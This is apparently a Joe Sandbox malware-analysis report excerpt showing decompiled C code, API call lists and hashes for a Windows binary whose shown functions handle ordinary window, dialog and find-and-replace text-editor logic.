0x000fc781
0x000fc786
0x000fc78b
0x00000000
0x00000000
0x000fc790
0x00000000
0x000fc769
0x000fc76c
0x000fc793
0x000fc795
0x000fc79e
0x000fc79e
0x000fc7a4
0x000fc7ab
0x000fc7b4
0x000fc7b8
0x000fc7be
0x000fc7c8
0x000fc7cb
0x000fc7d0
0x000fc7d9
0x000fc7e4
0x000fc7e8
0x000fc7e8
0x000fc7f2
0x000fc7f2
0x000fc7b8
0x000fc7f8
0x000fc7f8
0x000fc7ff
0x000fc800
0x000fc805
0x000fc80f
0x000fc810
0x000fc81e
0x000fc82c
0x000fc82c

APIs

Part of subcall function 00101970: GetPrinterA.WINSPOOL.DRV(?,00000005,00000000,00000000,?,1F9A9BDF,00000000,?,00000000,00000000), ref: 001019B4
Part of subcall function 00101970: _memset.LIBCMT ref: 001019DD
Part of subcall function 00101970: GetPrinterA.WINSPOOL.DRV(?,00000005,00000000,?,?,?,?,?,00000000,00000000), ref: 001019F1

lstrlenA.KERNEL32(?,?,?,?), ref: 000FC798
GlobalAlloc.KERNEL32(00000002,00000009,?,?,?), ref: 000FC7A4
GlobalLock.KERNEL32 ref: 000FC7AE
_memset.LIBCMT ref: 000FC7BE
lstrlenA.KERNEL32(?,?,?,?,?,?,?), ref: 000FC7D2
lstrlenA.KERNEL32(?,?,?,?,?,?,?), ref: 000FC7DC
lstrcpyA.KERNEL32(00000000,?,?,?,?,?,?,?), ref: 000FC7E8
GlobalUnlock.KERNEL32(?,?,?,?,?,?,?), ref: 000FC7F2

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: Globallstrlen$Printer_memset$AllocLockUnlocklstrcpy
String ID:
API String ID: 91049717-0
Opcode ID: d80de0b6979619586564d250d3085c4c5447d297cbc19ba1999bc27c9043bf50
Instruction ID: e87931fba32bcfbf798648fcf3f8a424c87a4f6b8738cc6608af48d9e342e170
Opcode Fuzzy Hash: d80de0b6979619586564d250d3085c4c5447d297cbc19ba1999bc27c9043bf50
Instruction Fuzzy Hash: B631C371E00209EBCB00EFA4DD89EBEFBB9FF49300F104519F905A7691DBB55A048BA1

Uniqueness

Uniqueness Score: -1.00%

Function 000FAA92 Relevance: 12.1, APIs: 8, Instructions: 100
windowstringCOMMON

Download Yara Rule

C-Code - Quality: 89%

			E000FAA92() {
				long _t62;
				struct HWND__* _t64;
				void* _t68;
				int _t74;
				int _t77;
				intOrPtr _t80;
				long _t81;
				void* _t87;
				void* _t88;
				void* _t114;
				struct HDC__* _t115;
				signed int _t116;
				struct HDC__* _t117;
				intOrPtr* _t118;
				void* _t119;
				void* _t120;
				long _t121;
				signed int _t122;

				_t118 =  *((intOrPtr*)(_t122 - 0x2b4));
				_t87 =  *(_t122 - 0x2b8);
				_t62 =  *(_t87 + 0x28);
				if(_t62 != 0) {
					 *((intOrPtr*)(_t122 - 0x2b0)) = _t122 - 0x2ac;
					 *_t62 =  *_t118;
					 *((intOrPtr*)(_t62 + 4)) =  *((intOrPtr*)(_t118 + 4));
					 *((intOrPtr*)(_t62 + 8)) =  *((intOrPtr*)(_t118 + 8));
					_t64 =  *(_t87 + 4);
					 *(_t122 - 0x2c4) = _t64;
					_t115 = GetDC(_t64);
					 *(_t122 - 0x2cc) = _t115;
					_t68 = SelectObject(_t115, SendMessageA( *(_t87 + 4), 0x31, 0, 0));
					_t116 = 0;
					 *(_t122 - 0x2b8) = _t68;
					 *(_t122 - 0xa4) = 0;
					 *((intOrPtr*)(_t122 - 0xa0)) = 0;
					 *((intOrPtr*)(_t122 - 0x9c)) = 0;
					SendMessageA( *(_t87 + 4), 0x407, 0, _t122 - 0xa4);
					 *(_t122 - 0x98) = 0;
					E00106820(_t122 - 0x97, 0, 0x7f);
					 *(_t122 - 0x2c0) = 0;
					 *((intOrPtr*)(_t122 - 0x2bc)) = 0;
					 *((intOrPtr*)(_t122 - 0x2b4)) =  *(_t122 - 0xa4);
					_t120 = _t118 - _t122 - 0x2ac;
					do {
						_t74 =  *(_t122 + _t120 + _t116 * 4 - 0x2ac);
						if(_t74 != 0) {
							LoadStringA( *0x170c0c, _t74, _t122 - 0x98, 0x80);
							_t77 = lstrlenA(_t122 - 0x98);
							if(_t77 == 0xffffffff) {
								_t77 = lstrlenA(_t122 - 0x98);
							}
							GetTextExtentPoint32A( *(_t122 - 0x2cc), _t122 - 0x98, _t77, _t122 - 0x2c0);
							 *((intOrPtr*)(_t122 + _t116 * 4 - 0x2ac)) =  *((intOrPtr*)(_t122 - 0x9c)) +  *((intOrPtr*)(_t122 - 0x2b4)) +  *(_t122 - 0x2c0) + 6;
						} else {
							 *((intOrPtr*)(_t122 + _t116 * 4 - 0x2ac)) = 0x3fffffff;
						}
						_t80 =  *((intOrPtr*)(_t122 + _t116 * 4 - 0x2ac));
						_t116 = _t116 + 1;
						 *((intOrPtr*)(_t122 - 0x2b4)) = _t80;
					} while (_t116 < 3);
					_t81 = SendMessageA( *(_t87 + 4), 0x404, 3, _t122 - 0x2ac);
					_t117 =  *(_t122 - 0x2cc);
					_t121 = _t81;
					SelectObject(_t117,  *(_t122 - 0x2b8));
					ReleaseDC( *(_t122 - 0x2c4), _t117);
					_t103 = _t122 - 0x2ac;
					if( *((intOrPtr*)(_t122 - 0x2b0)) != _t122 - 0x2ac) {
						E000FD040(_t122 - 0x2b0);
					}
					_t62 = _t121;
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t122 - 0xc));
				_pop(_t114);
				_pop(_t119);
				_pop(_t88);
				return E001059E6(_t62, _t88,  *(_t122 - 0x14) ^ _t122, _t103, _t114, _t119);
			}

0x000faa92
0x000faa98
0x000faa9e
0x000faaa3
0x000faab1
0x000faab7
0x000faabc
0x000faac2
0x000faac5
0x000faac9
0x000faad9
0x000faae1
0x000faaef
0x000faaff
0x000fab02
0x000fab10
0x000fab16
0x000fab1c
0x000fab22
0x000fab32
0x000fab39
0x000fab4d
0x000fab53
0x000fab59
0x000fab5f
0x000fab61
0x000fab64
0x000fab6d
0x000fab90
0x000fab9d
0x000faba6
0x000fabaf
0x000fabaf
0x000fabcb
0x000fabe7
0x000fab6f
0x000fab6f
0x000fab6f
0x000fabee
0x000fabf5
0x000fabf6
0x000fabfc
0x000fac17
0x000fac1d
0x000fac23
0x000fac2d
0x000fac3b
0x000fac41
0x000fac4d
0x000fac55
0x000fac55
0x000fac5a
0x000fac5a
0x000fac5f
0x000fac67
0x000fac68
0x000fac69
0x000fac77

APIs

GetDC.USER32(?), ref: 000FAACF
SendMessageA.USER32(?,00000031,00000000,00000000), ref: 000FAAE7
SelectObject.GDI32(00000000,00000000), ref: 000FAAEF
SendMessageA.USER32(?,00000407,00000000,?), ref: 000FAB22
_memset.LIBCMT ref: 000FAB39
LoadStringA.USER32 ref: 000FAB90
lstrlenA.KERNEL32(00000000), ref: 000FAB9D
lstrlenA.KERNEL32(00000000), ref: 000FABAF
GetTextExtentPoint32A.GDI32(?,00000000,00000000,?), ref: 000FABCB
SendMessageA.USER32(?,00000404,00000003,?), ref: 000FAC17
SelectObject.GDI32(?,?), ref: 000FAC2D
ReleaseDC.USER32 ref: 000FAC3B

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: MessageSend$ObjectSelectlstrlen$ExtentLoadPoint32ReleaseStringText_memset
String ID:
API String ID: 1950834119-0
Opcode ID: 136ae4a3b4ac475f7f9c0126546a968eafcba143aa5260f9174062ace533bc7a
Instruction ID: ee2c09c60ad95c90379e312e48508067704f13f79a2dfaa3d1ed0456d37cab72
Opcode Fuzzy Hash: 136ae4a3b4ac475f7f9c0126546a968eafcba143aa5260f9174062ace533bc7a
Instruction Fuzzy Hash: 6C411A71A042199FDB24CF15D988BAAB7B9BF89300F1481DAE90DA7251D770AE80CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00103ED0 Relevance: 12.1, APIs: 8, Instructions: 100
threadCOMMON

Download Yara Rule

C-Code - Quality: 89%

			E00103ED0(struct HMENU__* __eax, void* __ebx, struct HWND__* _a4, int* _a8, CHAR* _a12, signed int _a16, long _a20, struct HMENU__* _a24) {
				intOrPtr _v0;
				wchar_t* _v12;
				int _v16;
				char _v20;
				struct _CRITICAL_SECTION* _v24;
				struct _WNDCLASSEXA _v72;
				struct _WNDCLASSEXA _v120;
				void* _t74;
				CHAR* _t81;
				struct HINSTANCE__* _t83;
				CHAR* _t86;
				int _t87;
				int* _t98;
				void* _t103;
				void* _t104;
				struct HMENU__* _t129;
				struct HMENU__* _t132;
				struct HMENU__** _t140;
				wchar_t* _t142;
				struct HMENU__* _t145;
				void* _t151;
				void* _t152;

				_t104 = __ebx;
				_t132 = __eax;
				if( *((intOrPtr*)(__eax + 0x14)) != 0) {
					L2:
					_t74 =  *(_t132 + 0x14);
					 *_t74 = 0x42444c7;
					 *(_t74 + 4) = 0;
					 *((char*)(_t74 + 8)) = 0xe9;
					 *((intOrPtr*)(_t74 + 9)) = 0xfffffff3 - _t74;
					FlushInstructionCache(GetCurrentProcess(), _t74, 0xd);
					if(_t104 == 0) {
						goto L12;
					} else {
						_t140 = _t132 + 8;
						if(_t140 == 0 || _t132 == 0) {
							RaiseException(0xc0000005, 1, 0, 0);
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							_t152 = _t151 - 0x70;
							_push(_t140);
							_push(_t132);
							if(_t104 == 0 || _a4 == 0) {
								L22:
								return 0;
							} else {
								if( *(_t104 + 0x40) != 0) {
									L33:
									if( *(_t104 + 0x30) != 0) {
										_t70 = _t104 + 0x34; // 0x0
										_a4->i =  *_t70;
									}
									_t72 = _t104 + 0x40; // 0x0
									return  *_t72;
								} else {
									_v24 = 0x170c68;
									EnterCriticalSection(0x170c68);
									_v20 = 1;
									if( *(_t104 + 0x40) != 0) {
										L32:
										LeaveCriticalSection(0x170c68);
										goto L33;
									} else {
										_t29 = _t104 + 0x30; // 0x0
										_t81 =  *_t29;
										if(_t81 == 0) {
											if( *((intOrPtr*)(_t104 + 0x3c)) == 0) {
												_t83 =  *(_v0 + 8);
											} else {
												_t83 = 0;
											}
											_t52 = _t104 + 0x38; // 0x7f00
											 *((intOrPtr*)(_t104 + 0x1c)) = LoadCursorA(_t83,  *_t52);
											goto L28;
										} else {
											_t30 = _t104 + 0x28; // 0x112608
											_t31 = _t104 + 8; // 0x104140
											_v12 =  *_t30;
											_v16 =  *_t31;
											_v72.cbSize = 0x30;
											if(GetClassInfoExA(0, _t81,  &_v72) != 0) {
												L23:
												memcpy(_t104,  &_v72, 0xc << 2);
												_t152 = _t152 + 0xc;
												_t44 = _t104 + 8; // 0x104140
												 *(_t104 + 0x34) =  *_t44;
												 *(_t104 + 0x28) = _v12;
												 *(_t104 + 8) = _v16;
												L28:
												 *(_t104 + 4) =  *(_t104 + 4) & 0xffffbfff;
												 *(_t104 + 0x14) =  *(_v0 + 4);
												if( *(_t104 + 0x28) == 0) {
													_t60 = _t104 + 0x42; // 0x15ade2
													_t142 = _t60;
													swprintf(_t142, 0x25, "ATL:%p", _t104);
													_t152 = _t152 + 0x10;
													 *(_t104 + 0x28) = _t142;
												}
												_t86 = memcpy( &_v120, _t104, 0xc << 2);
												_t66 = _t104 + 0x14; // 0x0
												_t112 =  *_t66;
												_t87 = GetClassInfoExA( *_t66, _t86,  &_v120);
												 *(_t104 + 0x40) = _t87;
												if(_t87 == 0) {
													 *(_t104 + 0x40) = E000F4E50(_t104, _t112);
												}
												goto L32;
											} else {
												_t38 = _t104 + 0x30; // 0x0
												if(GetClassInfoExA( *(_v0 + 4),  *_t38,  &_v72) != 0) {
													goto L23;
												} else {
													E00103D20( &_v24);
													goto L22;
												}
											}
										}
									}
								}
							}
						} else {
							 *_t140 = _t132;
							_t140[1] = GetCurrentThreadId();
							EnterCriticalSection(0x170c68);
							_t129 =  *0x170c80; // 0x0
							_t140[2] = _t129;
							 *0x170c80 = _t140;
							LeaveCriticalSection(0x170c68);
							_t145 = _a24;
							if(_t145 == 0 && (_a16 & 0x40000000) != 0) {
								_t145 = _t132;
								_a24 = _t145;
							}
							_t98 = _a8;
							if(_t98 == 0) {
								_t98 = 0x15ad10;
								_a8 = 0x15ad10;
							}
							_t17 =  &(_t98[1]); // 0x80000000
							_t19 =  &(_t98[3]); // 0x0
							_t20 =  &(_t98[2]); // 0x0
							return CreateWindowExA(_a20, _t104 & 0x0000ffff, _a12, _a16,  *_t98,  *_t17,  *_t20 -  *_t98,  *_t19 -  *_t17, _a4, _t145,  *0x170c08, 0);
						}
					}
				} else {
					_t103 = E001057B1();
					 *(_t132 + 0x14) = _t103;
					if(_t103 == 0) {
						SetLastError(0xe);
						L12:
						return 0;
					} else {
						goto L2;
					}
				}
			}

0x00103ed0
0x00103ed5
0x00103edb
0x00103eed
0x00103eed
0x00103efa
0x00103f00
0x00103f07
0x00103f0b
0x00103f15
0x00103f1e
0x00000000
0x00103f24
0x00103f24
0x00103f29
0x00103fe3
0x00103fe9
0x00103fea
0x00103feb
0x00103fec
0x00103fed
0x00103fee
0x00103fef
0x00103ff3
0x00103ff6
0x00103ff7
0x00103ffa
0x00104078
0x0010407f
0x00104002
0x00104007
0x00104128
0x0010412c
0x0010412e
0x00104134
0x00104134
0x00104136
0x0010413f
0x0010400d
0x00104012
0x00104019
0x00104024
0x00104028
0x0010411d
0x00104122
0x00000000
0x0010402e
0x0010402e
0x0010402e
0x00104033
0x001040a4
0x001040ad
0x001040a6
0x001040a6
0x001040a6
0x001040b0
0x001040bb
0x00000000
0x00104035
0x00104035
0x00104038
0x00104041
0x0010404b
0x0010404e
0x00104059
0x00104080
0x0010408d
0x0010408d
0x0010408f
0x00104095
0x00104098
0x0010409b
0x001040be
0x001040c4
0x001040cf
0x001040d2
0x001040da
0x001040da
0x001040e0
0x001040e5
0x001040e8
0x001040e8
0x001040fc
0x001040fe
0x001040fe
0x00104103
0x00104109
0x00104110
0x00104119
0x00104119
0x00000000
0x0010405b
0x00104061
0x0010406e
0x00000000
0x00104070
0x00104073
0x00000000
0x00104073
0x0010406e
0x00104059
0x00104033
0x00104028
0x00104007
0x00103f37
0x00103f37
0x00103f44
0x00103f47
0x00103f4d
0x00103f53
0x00103f5b
0x00103f61
0x00103f67
0x00103f6c
0x00103f77
0x00103f79
0x00103f79
0x00103f7c
0x00103f81
0x00103f83
0x00103f88
0x00103f88
0x00103f91
0x00103f9e
0x00103fa1
0x00103fc5
0x00103fc5
0x00103f29
0x00103edd
0x00103edd
0x00103ee2
0x00103ee7
0x00103fca
0x00103fd1
0x00103fd5
0x00000000
0x00000000
0x00000000
0x00103ee7

APIs

GetCurrentProcess.KERNEL32(00000000,0000000D), ref: 00103F0E
FlushInstructionCache.KERNEL32(00000000), ref: 00103F15
GetCurrentThreadId.KERNEL32 ref: 00103F39
EnterCriticalSection.KERNEL32(00170C68), ref: 00103F47
LeaveCriticalSection.KERNEL32(00170C68), ref: 00103F61
CreateWindowExA.USER32 ref: 00103FBC

Part of subcall function 001057B1: GetProcessHeap.KERNEL32(00000000,0000000D,00000000,00000000,00104307), ref: 00105735
Part of subcall function 001057B1: HeapAlloc.KERNEL32(00000000), ref: 0010573C

SetLastError.KERNEL32(0000000E), ref: 00103FCA
RaiseException.KERNEL32(C0000005,00000001,00000000,00000000), ref: 00103FE3

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: CriticalCurrentHeapProcessSection$AllocCacheCreateEnterErrorExceptionFlushInstructionLastLeaveRaiseThreadWindow
String ID:
API String ID: 3956295412-0
Opcode ID: 7398ec43cfc6769876e79e0064b91e3a341ab95b50bb408ca123731b2c91716d
Instruction ID: 844169e300e94751117d848002d34bffcda7a10fc9865ec2a528dbf6e47ba8de
Opcode Fuzzy Hash: 7398ec43cfc6769876e79e0064b91e3a341ab95b50bb408ca123731b2c91716d
Instruction Fuzzy Hash: 3B31A131A00305AFD7169F65ED08BAA77B8FF48720F058219F959DB690C7B0ED80CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 000FCC10 Relevance: 12.1, APIs: 8, Instructions: 71
threadCOMMON

Download Yara Rule

C-Code - Quality: 61%

			E000FCC10(intOrPtr __edi, void* __esi, struct HWND__* _a4) {
				char _v4;
				signed int _v16;
				signed int _v20;
				char _v276;
				char _v280;
				struct HMENU__* _v284;
				void* __ebx;
				void* _t21;
				signed int _t24;
				struct HMENU__* _t29;
				signed int _t41;
				signed int _t45;
				void* _t46;
				int _t49;
				struct HINSTANCE__* _t50;
				intOrPtr _t59;
				intOrPtr _t60;
				char _t61;
				void* _t62;
				void* _t63;
				intOrPtr* _t65;
				signed int _t70;
				char* _t71;

				_t60 = __edi;
				_push(__esi);
				if( *(__edi + 0x14) != 0) {
					L2:
					_t3 = _t60 + 0x14; // 0xf7940
					_t21 =  *_t3;
					 *_t21 = 0x42444c7;
					 *(_t21 + 4) = 0;
					 *((char*)(_t21 + 8)) = 0xe9;
					 *((intOrPtr*)(_t21 + 9)) = 0xfffffff3 - _t21;
					FlushInstructionCache(GetCurrentProcess(), _t21, 0xd);
					_t7 = _t60 + 8; // 0x112e04
					_t65 = _t7;
					if(_t65 == 0 || _t60 == 0) {
						RaiseException(0xc0000005, 1, 0, 0);
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						_t69 = _t70;
						_t71 = _t70 - 0x114;
						_t24 =  *0x159060; // 0x1f9a9bdf
						_v20 = _t24 ^ _t70;
						_t49 =  *0x170bb8; // 0x80
						_push(_t60);
						_v280 = 0;
						LoadStringA( *0x170c0c, _t49,  &_v280, 0x100);
						_t50 =  *0x170c0c;
						_t29 = LoadMenuA(_t50,  *0x170bb8 & 0x0000ffff);
						_t61 = _v4;
						_t15 = _t65 + 0x20; // 0x112e24
						_v284 = _t29;
						_t45 = E000F4F00(0x170b68, _t15) & 0x0000ffff;
						if(_t61 == 0) {
							_t61 = 0x15ad10;
						}
						_push(_t50);
						_t51 = _v280;
						_t58 =  &_v276;
						 *_t71 = _v280;
						 *_t71 = _t61;
						_t62 = E000FFF90(_t65, _t45, _v280, _t51,  &_v276, 0x6cf0000, 0x40100);
						if(_t62 != 0) {
							 *((intOrPtr*)(_t65 + 0x30)) = LoadAcceleratorsA( *0x170c0c,  *0x170bb8 & 0x0000ffff);
							_t34 = _t62;
						}
						_pop(_t63);
						_pop(_t46);
						return E001059E6(_t34, _t46, _v16 ^ _t69, _t58, _t63, _t65);
					} else {
						 *_t65 = _t60;
						 *((intOrPtr*)(_t65 + 4)) = GetCurrentThreadId();
						EnterCriticalSection(0x170c68);
						_t59 =  *0x170c80; // 0x0
						 *((intOrPtr*)(_t65 + 8)) = _t59;
						 *0x170c80 = _t65;
						LeaveCriticalSection(0x170c68);
						return DialogBoxParamA( *0x170c0c, 0x68, _a4, E00103D40, 0);
					}
				} else {
					_t41 = E001057B1();
					 *(__edi + 0x14) = _t41;
					if(_t41 == 0) {
						SetLastError(0xe);
						return _t41 | 0xffffffff;
					} else {
						goto L2;
					}
				}
			}

0x000fcc10
0x000fcc17
0x000fcc18
0x000fcc2a
0x000fcc2a
0x000fcc2a
0x000fcc37
0x000fcc3d
0x000fcc44
0x000fcc48
0x000fcc52
0x000fcc58
0x000fcc58
0x000fcc5d
0x000fcccd
0x000fccd3
0x000fccd4
0x000fccd5
0x000fccd6
0x000fccd7
0x000fccd8
0x000fccd9
0x000fccda
0x000fccdb
0x000fccdc
0x000fccdd
0x000fccde
0x000fccdf
0x000fcce1
0x000fcce3
0x000fcce9
0x000fccf0
0x000fccf3
0x000fcd00
0x000fcd0f
0x000fcd16
0x000fcd23
0x000fcd2b
0x000fcd31
0x000fcd34
0x000fcd3d
0x000fcd48
0x000fcd4d
0x000fcd4f
0x000fcd4f
0x000fcd54
0x000fcd55
0x000fcd67
0x000fcd6e
0x000fcd73
0x000fcd7c
0x000fcd80
0x000fcd97
0x000fcd9a
0x000fcd9a
0x000fcd9f
0x000fcda2
0x000fcdab
0x000fcc63
0x000fcc63
0x000fcc70
0x000fcc73
0x000fcc79
0x000fcc7f
0x000fcc87
0x000fcc8d
0x000fccaf
0x000fccaf
0x000fcc1a
0x000fcc1a
0x000fcc1f
0x000fcc24
0x000fccb4
0x000fccbf
0x00000000
0x00000000
0x00000000
0x000fcc24

APIs

GetCurrentProcess.KERNEL32(000F7940,0000000D,00000000,?,000F89BE,00000000), ref: 000FCC4B
FlushInstructionCache.KERNEL32(00000000,?,000F89BE,00000000), ref: 000FCC52
GetCurrentThreadId.KERNEL32 ref: 000FCC65
EnterCriticalSection.KERNEL32(00170C68,?,000F89BE,00000000), ref: 000FCC73
LeaveCriticalSection.KERNEL32(00170C68,?,000F89BE,00000000), ref: 000FCC8D
DialogBoxParamA.USER32 ref: 000FCCA7

Part of subcall function 001057B1: GetProcessHeap.KERNEL32(00000000,0000000D,00000000,00000000,00104307), ref: 00105735
Part of subcall function 001057B1: HeapAlloc.KERNEL32(00000000), ref: 0010573C

SetLastError.KERNEL32(0000000E,00000000,?,000F89BE,00000000), ref: 000FCCB4
RaiseException.KERNEL32(C0000005,00000001,00000000,00000000,?,000F89BE,00000000), ref: 000FCCCD

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: CriticalCurrentHeapProcessSection$AllocCacheDialogEnterErrorExceptionFlushInstructionLastLeaveParamRaiseThread
String ID:
API String ID: 3691675481-0
Opcode ID: 1075157b575a9ec2f6165f95367b6d286cf8de9a7af68a09b6632052fdb6d1ff
Instruction ID: dda0727e7797ca47c6e57bb5913b8cb3fd90ad0d4a3d9a97f630f53538b32908
Opcode Fuzzy Hash: 1075157b575a9ec2f6165f95367b6d286cf8de9a7af68a09b6632052fdb6d1ff
Instruction Fuzzy Hash: 87117271640705EBE3269F64EE49B6577B4BB48721F108609F6599BAE0CBB0E4C0CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00103C60 Relevance: 12.0, APIs: 4, Strings: 4, Instructions: 50
stringCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E00103C60(intOrPtr* _a4, signed int _a8) {
				signed int _v8;
				char _v16;
				signed int _t11;
				signed int _t14;
				intOrPtr _t21;
				intOrPtr* _t26;
				signed int _t28;

				_push(0xffffffff);
				_push(E0010F3A9);
				_push( *[fs:0x0]);
				_t11 =  *0x159060; // 0x1f9a9bdf
				_push(_t11 ^ _t28);
				 *[fs:0x0] =  &_v16;
				_t14 = _a8;
				_t26 = _a4;
				_a8 = 0;
				_t21 =  *0x15ad30; // 0x15ad2c
				 *_t26 = _t21;
				_v8 = 0;
				_a8 = 1;
				if(_t14 <= 3) {
					switch( *((intOrPtr*)(_t14 * 4 +  &M00103D10))) {
						case 0:
							_t16 = lstrlenA("Replaced %d occurances of \"%s\" with \"%s\"");
							_push("Replaced %d occurances of \"%s\" with \"%s\"");
							goto L6;
						case 1:
							lstrlenA("Replace All");
							_push("Replace All");
							goto L6;
						case 2:
							lstrlenA("Unable to find the text \"%s\"");
							_push("Unable to find the text \"%s\"");
							goto L6;
						case 3:
							lstrlenA("Text not found");
							_push("Text not found");
							L6:
							E000F5F10(_t16, _t26);
							goto L7;
					}
				}
				L7:
				 *[fs:0x0] = _v16;
				return _t26;
			}

0x00103c63
0x00103c65
0x00103c70
0x00103c73
0x00103c7a
0x00103c7e
0x00103c84
0x00103c87
0x00103c8c
0x00103c8f
0x00103c95
0x00103c97
0x00103c9a
0x00103ca4
0x00103ca6
0x00000000
0x00103cb2
0x00103cb8
0x00000000
0x00000000
0x00103cc4
0x00103cca
0x00000000
0x00000000
0x00103cd6
0x00103cdc
0x00000000
0x00000000
0x00103ce8
0x00103cee
0x00103cf3
0x00103cf5
0x00000000
0x00000000
0x00103ca6
0x00103cfa
0x00103cff
0x00103d0c

APIs

lstrlenA.KERNEL32(Replaced %d occurances of "%s" with "%s",1F9A9BDF,00000000,00000024,-00000024,0010F3A9,000000FF,?,00103850,-00000024,00000002,1F9A9BDF), ref: 00103CB2
lstrlenA.KERNEL32(Replace All,?,?), ref: 00103CC4
lstrlenA.KERNEL32(Unable to find the text "%s"), ref: 00103CD6
lstrlenA.KERNEL32(Text not found,Unable to find the text "%s"), ref: 00103CE8

Strings

Replace All, xrefs: 00103CBF, 00103CCA
Unable to find the text "%s", xrefs: 00103CD1, 00103CDC
Replaced %d occurances of "%s" with "%s", xrefs: 00103CAD, 00103CB8
Text not found, xrefs: 00103CE3, 00103CEE

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: lstrlen
String ID: Replace All$Replaced %d occurances of "%s" with "%s"$Text not found$Unable to find the text "%s"
API String ID: 1659193697-473213566
Opcode ID: 2f97c0db8191753a335ad8b106fcc72f3c7f9a91038294b58c80c8957638abdb
Instruction ID: f6be491fe98fd59dc080f3328a789f8e02a9ba969e28b7b748dfbb98ed8544ee
Opcode Fuzzy Hash: 2f97c0db8191753a335ad8b106fcc72f3c7f9a91038294b58c80c8957638abdb
Instruction Fuzzy Hash: BB11C231644248EFC7088F84ED06BDDB7A8FB08B60F10812BF916D7680D7F446D08B81

Uniqueness

Uniqueness Score: -1.00%

Function 000FB170 Relevance: 10.7, APIs: 7, Instructions: 165
stringCOMMON

Download Yara Rule

C-Code - Quality: 84%

